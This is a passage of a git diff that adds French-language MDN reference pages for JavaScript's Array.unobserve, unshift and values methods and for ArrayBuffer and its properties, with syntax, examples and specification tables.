+<p>La fonction de rappel (<em>callback</em>) utilisée doit être une référence à une fonction et non une fonction anonyme car c'est cette référence qui sera utilisée pour retrouver l'observateur. Ça ne sert à rien d'appeler <strong>Array.unobserve()</strong> avec une fonction anonyme comme paramètre de callback, cela ne retirera aucun observateur.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Arrêter_d'observer_un_tableau">Arrêter d'observer un tableau</h3>
+
+<pre class="brush: js">var arr = [1, 2, 3];
+
+var observateur = function(changements) {
+  console.log(changements);
+}
+
+Array.observe(arr, observateur);
+​
+arr.push(4);
+// [{type: "splice", object: &lt;arr&gt;, index: 3, removed:[], addedCount: 1}]
+
+Array.unobserve(arr, observateur);
+
+arr.pop();
+// Le callback n'a pas été appelé</pre>
+
+<h3 id="Utiliser_une_fonction_anonyme">Utiliser une fonction anonyme</h3>
+
+<pre class="brush: js">var personnes = ['Khalid', 'Ahmed', 'Mohammed'];
+
+Array.observe(personnes, function (changements) {
+  console.log(changements);
+});
+
+personnes.shift();
+// [{type: "splice", object: &lt;arr&gt;, index: 0, removed: [ "Khalid" ], addedCount: 0 }]
+
+Array.unobserve(personnes, function (changements) {
+  console.log(changements);
+});
+
+personnes.push('Abdullah');
+// [{type: "splice", object: &lt;arr&gt;, index: 2, removed: [], addedCount: 1 }]
+// Le callback est toujours appelé
+</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.unobserve")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.observe()")}} {{obsolete_inline}}</li>
+ <li>{{jsxref("Object.observe()")}} {{obsolete_inline}}</li>
+ <li>{{jsxref("Object.unobserve()")}} {{obsolete_inline}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/unshift/index.html b/files/fr/web/javascript/reference/objets_globaux/array/unshift/index.html
new file mode 100644
index 0000000000..04115c0986
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/unshift/index.html
@@ -0,0 +1,122 @@
+---
+title: Array.prototype.unshift()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/unshift
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/unshift
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>unshift()</strong></code> ajoute un ou plusieurs éléments au début d'un tableau et renvoie la nouvelle longueur du tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-unshift.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.unshift([<var>élém1</var>[, ...[, <var>élémN</var>]]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>élém<em>N</em> </code></dt>
+ <dd>Les éléments que l'on souhaite ajouter en début de tableau.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La nouvelle valeur de la propriété {{jsxref("Array.length", "length")}} du tableau sur lequel a été appelée la méthode.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>unshift()</code> insère les valeurs renseignées au début d'un objet ressemblant à un tableau.</p>
+
+<p><code>unshift()</code> est volontairement générique ; cette méthode peut être {{jsxref("Function.call", "appelée","",1)}} ou {{jsxref("Function.apply", "appliquée","",1)}} sur des objets ressemblant à des tableaux. Les objets qui ne contiennent pas une propriété <code>length</code> reflètant la fin d'une série de propriétés indexées numériquement pourront ne pas avoir un comportement cohérent avec cette méthode.</p>
+
+<p>Attention, lorsqu'on utilise <code>unshift()</code> avec plusieurs arguments, ceux-ci sont insérés au début du tableau dans l'ordre selon lequel ils sont passés en arguments. Aussi, on n'obtiendra pas le même résultat en appelant <code>unshift()</code> <em>n</em> fois avec 1 arguments ou en appelant <code>unshift()</code> avec <em>n</em> arguments.</p>
+
+<pre class="brush: js">let arr = [4, 5, 6];
+
+arr.unshift(1, 2, 3);
+console.table(arr);
+// [1, 2, 3, 4, 5, 6]
+
+let arr2 = [4, 5, 6];
+
+arr2.unshift(1);
+arr2.unshift(2);
+arr2.unshift(3);
+
+console.table(arr2);
+// [3, 2, 1, 4, 5, 6]</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var arr = [1, 2];
+
+arr.unshift(0); // renvoie 3, la nouvelle longueur du tableau
+// arr est [0, 1, 2]
+
+arr.unshift(-2, -1); // = 5
+// arr est [-2, -1, 0, 1, 2]
+
+arr.unshift( [-3] ); // 6
+// arr est [[-3], -2, -1, 0, 1, 2]
+
+arr.unshift([-7, -6], [-5]); // 8
+// arr est [[-7, -6], [-5], [-3], -2, -1, 0, 1, 2]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.13', 'Array.prototype.unshift')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.unshift")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/values/index.html b/files/fr/web/javascript/reference/objets_globaux/array/values/index.html
new file mode 100644
index 0000000000..26e1c20bf8
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/values/index.html
@@ -0,0 +1,100 @@
+---
+title: Array.prototype.values()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/values
+tags:
+  - Array
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/values
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>values()</code></strong> renvoie un nouvel objet <strong><code>Array Iterator</code></strong> qui contient les valeurs pour chaque indice du tableau. Cette méthode est l'implémentation par défaut de <code>Array.prototype[Symbol.Iterator]</code>.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-values.html")}}</p>
+
+<pre class="brush: js">var a = ['t', 'i', 't', 'o', 'u'];
+var iterateur = a.values();
+
+console.log(iterateur.next().value); // t
+console.log(iterateur.next().value); // i
+console.log(iterateur.next().value); // t
+console.log(iterateur.next().value); // o
+console.log(iterateur.next().value); // u
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>array</var>.values()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet itérateur sur {{jsxref("Array")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Itérer_avec_une_boucle_for...of">Itérer avec une boucle <code>for...of</code></h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr.values();
+// votre navigateur doit supporter les boucles for..of
+// et les variables définies avec let
+for (let lettre of eArr) {
+  console.log(lettre);
+}
+</pre>
+
+<h3 id="Itérer_avec_next()">Itérer avec <code>next()</code></h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr.values();
+console.log(eArr.next().value); // w
+console.log(eArr.next().value); // y
+console.log(eArr.next().value); // k
+console.log(eArr.next().value); // o
+console.log(eArr.next().value); // p
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.values', 'Array.prototype.values')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.values', 'Array.prototype.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.values")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/@@species/index.html b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/@@species/index.html
new file mode 100644
index 0000000000..edf4cdfdde
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/@@species/index.html
@@ -0,0 +1,74 @@
+---
+title: 'get ArrayBuffer[@@species]'
+slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/@@species
+tags:
+  - ArrayBuffer
+  - JavaScript
+  - Propriété
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/@@species
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété d'accesseur <code><strong>ArrayBuffer[@@species]</strong></code> renvoie le constructeur <code>ArrayBuffer</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">ArrayBuffer[Symbol.species]
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>L'accesseur <code>species</code> renvoie le constructeur par défaut pour les objets <code>ArrayBuffer</code>. Les constructeurs des sous-classes peuvent surcharger ce symbole pour modifier l'affectation du constructeur.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La propriété <code>species</code> renvoie le constructeur par défaut, soit <code>ArrayBuffer</code> dans le cas des objets <code>ArrayBuffer</code> :</p>
+
+<pre class="brush: js">ArrayBuffer[Symbol.species]; // function ArrayBuffer()</pre>
+
+<p>Pour un objet dérivé (par exemple une classe sur mesure <code>MonArrayBuffer</code>), le symbole <code>species</code> renverra le constructeur <code>MonArrayBuffer</code>. Il est possible de surcharger ce comportement pour renvoyer le constructeur <code>ArrayBuffer</code> :</p>
+
+<pre class="brush: js">class MonArrayBuffer extends ArrayBuffer {
+  // On surcharge species pour renvoyer
+  // le constructeur parent ArrayBuffer
+  static get [Symbol.species]() { return ArrayBuffer; }
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-arraybuffer-@@species', 'get ArrayBuffer [ @@species ]')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-arraybuffer-@@species', 'get ArrayBuffer [ @@species ]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.ArrayBuffer.@@species")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("Symbol.species")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/bytelength/index.html b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/bytelength/index.html
new file mode 100644
index 0000000000..6cf497e790
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/bytelength/index.html
@@ -0,0 +1,71 @@
+---
+title: ArrayBuffer.prototype.byteLength
+slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/byteLength
+tags:
+  - ArrayBuffer
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/byteLength
+---
+<div>{{JSRef}}</div>
+
+<p>L'accesseur <code><strong>byteLength</strong></code> est une propriété représentant la longueur d'un {{jsxref("ArrayBuffer")}} en octets.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/arraybuffer-bytelength.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>aybuffer.byteLength</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>byteLength</code> est un accesseur dont le mutateur associé vaut <code>undefined</code>. Cela signifie que cette propriété est en lecture seule. La valeur est déterminée lors de la construction du tableau et ne peut pas être changée par la suite. Cette propriété renvoie 0 si ce <code>ArrayBuffer</code> a été détaché.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+buffer.byteLength; // 8
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-get-arraybuffer.prototype.bytelength', 'ArrayBuffer.prototype.byteLength')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-arraybuffer.prototype.bytelength', 'ArrayBuffer.prototype.byteLength')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.ArrayBuffer.byteLength")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/index.html b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/index.html
new file mode 100644
index 0000000000..400f1cdf38
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/index.html
@@ -0,0 +1,145 @@
+---
+title: ArrayBuffer
+slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer
+tags:
+  - ArrayBuffer
+  - Constructor
+  - JavaScript
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong><code>ArrayBuffer</code></strong> est utilisé afin de représenter un tampon (<em>buffer</em>) de données binaires de longueur fixe de façon générique. C'est un tableau d'octets. La manipulation du contenu d'un <code>ArrayBuffer</code> se fait de façon indirecte en créant un <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray">tableau typé</a> ou un objet {{jsxref("DataView")}} qui permet de représenter le tampon dans un format donné qui permet de lire/écrire des contenus dans le tampon de mémoire.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/arraybuffer-constructor.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new ArrayBuffer(longueur)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>longueur</code></dt>
+ <dd>La taille, exprimée en octets, du tableau représentant le tampon.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet <code>ArrayBuffer</code> de la taille donnée. Ses éléments sont initialisés à 0.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Une exception {{jsxref("RangeError")}} est levée lorsque l'argument <code>longueur</code> est supérieur à {{jsxref("Number.MAX_SAFE_INTEGER")}} (soit 2<sup>53</sup>) ou s'il est négatif.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Le constructeur <code>ArrayBuffer</code> crée une nouvelle instance d'<code>ArrayBuffer</code> dont la longueur est celle donnée lors de la construction.</p>
+
+<h3 id="Obtenir_un_tampon_mémoire_depuis_des_données_existantes">Obtenir un tampon mémoire depuis des données existantes</h3>
+
+<ul>
+ <li><a href="/fr/docs/Décoder_encoder_en_base64#Annexe_.3A_D.C3.A9coder_une_cha.C3.AEne_en_base64_en_un_objet_Uint8Array_ou_ArrayBuffer">À partir d'une chaîne de caractères en Base 64</a></li>
+ <li><a href="/fr/docs/Web/API/FileReader">À partir d'un fichier local</a></li>
+</ul>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>ArrayBuffer.length</code></dt>
+ <dd>La longueur du constructeur <code>ArrayBuffer</code>. Elle vaut 1.</dd>
+ <dt>{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}}</dt>
+ <dd>La fonction de construction utilisée pour créer les objets dérivés.</dd>
+ <dt>{{jsxref("ArrayBuffer.prototype")}}</dt>
+ <dd>Cette propriété permet d'ajouter des propriétés à tous les objets <code>ArrayBuffer</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}</dt>
+ <dd>Cette méthode renvoie <code>true</code> si <code>arg</code> est une des vues sur l'<code>ArrayBuffer</code> telle qu'un <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray">tableau typé</a> ou un objet {{jsxref("DataView")}}, sinon elle renvoie <code>false</code>.</dd>
+ <dt>{{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(ancienTampon [, nouvelleLongueur])")}} {{experimental_inline}}</dt>
+ <dd>
+ <div class="line" id="file-arraybuffer-transfer-LC6">Cette méthode renvoie un nouvel objet <code>ArrayBuffer</code> dont le contenu est transféré depuis les données de <code>ancienTampon</code> et qui est ensuite tronqué ou rallongé avec des zéros pour que la taille du nouveau tampon soit <code>nouvelleLongueur</code>.</div>
+ </dd>
+</dl>
+
+<h2 id="Les_instances_d'ArrayBuffer">Les instances d'<code>ArrayBuffer</code></h2>
+
+<p>Toutes les instances d'<code>ArrayBuffer</code> héritent de {{jsxref("ArrayBuffer.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/prototype','Propri.C3.A9t.C3.A9s')}}</p>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/prototype','M.C3.A9thodes')}}</p>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.slice()")}} {{non-standard_inline}}</dt>
+ <dd>Cette méthode fournit la même fonctionnalité que {{jsxref("ArrayBuffer.prototype.slice()")}}.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple, on crée un tampon sur 8 octets avec une vue {{jsxref("Int32Array")}} qui fait référence à ce tampon :</p>
+
+<pre class="brush: js">var tampon = new ArrayBuffer(8);
+var vue    = new Int32Array(tampon);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée par ECMAScript 6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA. <code>new</code> est obligaoire pour utiliser le constructeur.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.ArrayBuffer")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<p>À partir d'ECMAScript 2015 (ES6),<code> ArrayBuffer</code> doit être utilisée avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur <code>ArrayBuffer</code> comme une fonction, sans <code>new</code>, provoquera une exception {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var dv = ArrayBuffer(10);
+// TypeError: calling a builtin ArrayBuffer constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new ArrayBuffer(10);</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés JavaScript</a></li>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/isview/index.html b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/isview/index.html
new file mode 100644
index 0000000000..990b6b6d62
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/isview/index.html
@@ -0,0 +1,90 @@
+---
+title: ArrayBuffer.isView()
+slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/isView
+tags:
+  - ArrayBuffer
+  - JavaScript
+  - Méthode
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>ArrayBuffer.isView()</strong></code> renvoie <code>true</code> si l'argument passé est une des vues <code>ArrayBuffer</code>, comme par exemple <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray">un tableau typé</a> ou une {{jsxref("DataView")}} ; <code>false</code> sinon.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/arraybuffer-isview.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">ArrayBuffer.isView(<var>arg</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>arg</code></dt>
+ <dd>L'argument dont on souhaite savoir s'il est une vue.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>true</code> si la valeur passée en argument est une des vues du tableau <code>ArrayBuffer</code>, <code>false</code> sinon.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">ArrayBuffer.isView();                    // false
+ArrayBuffer.isView([]);                  // false
+ArrayBuffer.isView({});                  // false
+ArrayBuffer.isView(null);                // false
+ArrayBuffer.isView(undefined);           // false
+ArrayBuffer.isView(new ArrayBuffer(10)); // false
+
+ArrayBuffer.isView(new Uint8Array());    // true
+ArrayBuffer.isView(new Float32Array());  // true
+ArrayBuffer.isView(new Int8Array(10).subarray(0, 3)); // true
+
+var buffer = new ArrayBuffer(2);
+var dv = new DataView(buffer);
+ArrayBuffer.isView(dv); // true
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée par ECMAScript 2015</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-arraybuffer.isview', 'ArrayBuffer.isView')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale dans un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arraybuffer.isview', 'ArrayBuffer.isView')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.ArrayBuffer.isView")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/prototype/index.html
new file mode 100644
index 0000000000..8c41cede9d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/prototype/index.html
@@ -0,0 +1,69 @@
+---
+title: ArrayBuffer.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/prototype
+tags:
+  - ArrayBuffer
+  - JavaScript
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>ArrayBuffer.prototype</code></strong> représente le prototype de l'objet {{jsxref("ArrayBuffer")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Les instances de <code>ArrayBuffer</code> héritent toutes de <code>ArrayBuffer.prototype</code>. Il est donc possible de modifier le protoype du constructeur pour apporter des changements à chacune des instances <code>ArrayBuffer</code>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>ArrayBuffer.prototype.constructor</dt>
